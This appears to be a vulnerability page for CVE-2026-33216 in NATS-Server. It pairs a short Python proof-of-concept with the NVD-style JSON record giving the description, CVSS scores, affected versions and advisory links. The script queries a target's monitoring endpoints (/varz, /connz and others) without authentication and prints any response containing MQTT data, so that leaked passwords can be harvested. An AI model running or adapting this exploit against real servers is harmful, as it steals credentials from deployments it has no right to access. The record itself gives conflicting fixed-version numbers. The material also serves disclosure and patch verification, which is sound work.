CVE-2026-33216

import requests import sys # PoC for CVE-2026-33216: NATS-Server MQTT Password Leak # This script attempts to retrieve MQTT passwords from the monitoring endpoint. def check_vulnerability(target_url): # Common monitoring endpoints for NATS endpoints = ["/varz", "/connz", "/routez", "/gatewayz"] print(f"[*] Checking target: {target_url}") for endpoint in endpoints: try: url = f"{target_url.rstrip('/')}{endpoint}" # Send request without authentication (PR:N) response = requests.get(url, timeout=5) if response.status_code == 200: data = response.text # Check for presence of MQTT related data and potential password leaks # In vulnerable versions, passwords might appear in 'jwt' or user fields if "mqtt" in data.lower(): print(f"[+] Potential MQTT data found at {url}") print("[!] Review the following output for exposed passwords:") print(data[:500]) # Print snippet for analysis return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[-] No vulnerable endpoints exposed or no MQTT data found.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target:port>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2026-33216", "sourceIdentifier": "[email protected]", "published": "2026-03-25T20:16:32.320", "lastModified": "2026-03-26T17:14:04.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Prior to versions 2.11.15 and 2.12.6, for MQTT deployments using usercodes/passwords: MQTT passwords are incorrectly classified as a non-authenticating identity statement (JWT) and exposed via monitoring endpoints. Versions 2.11.14 and 2.12.6 contain a fix. As a workaround, ensure monitoring end-points are adequately secured. Best practice remains to not expose the monitoring endpoint to the Internet or other untrusted network users."}, {"lang": "es", "value": "NATS-Server es un servidor de alto rendimiento para NATS.io, un sistema de mensajería nativo de la nube y del borde. Antes de las versiones 2.11.15 y 2.12.6, para implementaciones de MQTT que utilizan códigos de usuario/contraseñas: las contraseñas de MQTT se clasifican incorrectamente como una declaración de identidad no autenticadora (JWT) y se exponen a través de los puntos finales de monitoreo. Las versiones 2.11.14 y 2.12.6 contienen una corrección. Como solución alternativa, asegúrese de que los puntos finales de monitoreo estén adecuadamente protegidos. La mejor práctica sigue siendo no exponer el punto final de monitoreo a Internet u otros usuarios de red no confiables."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-256"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.15", "matchCriteriaId": "13EA156E-2759-4586-A22E-CDEAAD4D610C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.12.0", "versionEndExcluding": "2.12.6", "matchCriteriaId": "4E347CFB-C56D-4FD8-8DD8-3D34C08D7154"}]}]}], "references": [{"url": "https://advisories.nats.io/CVE/secnote-2026-05.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nats-io/nats-server/commit/b5b63cfc35a57075e09c1f57503d31721bed8099", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-v722-jcv5-w7mc", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}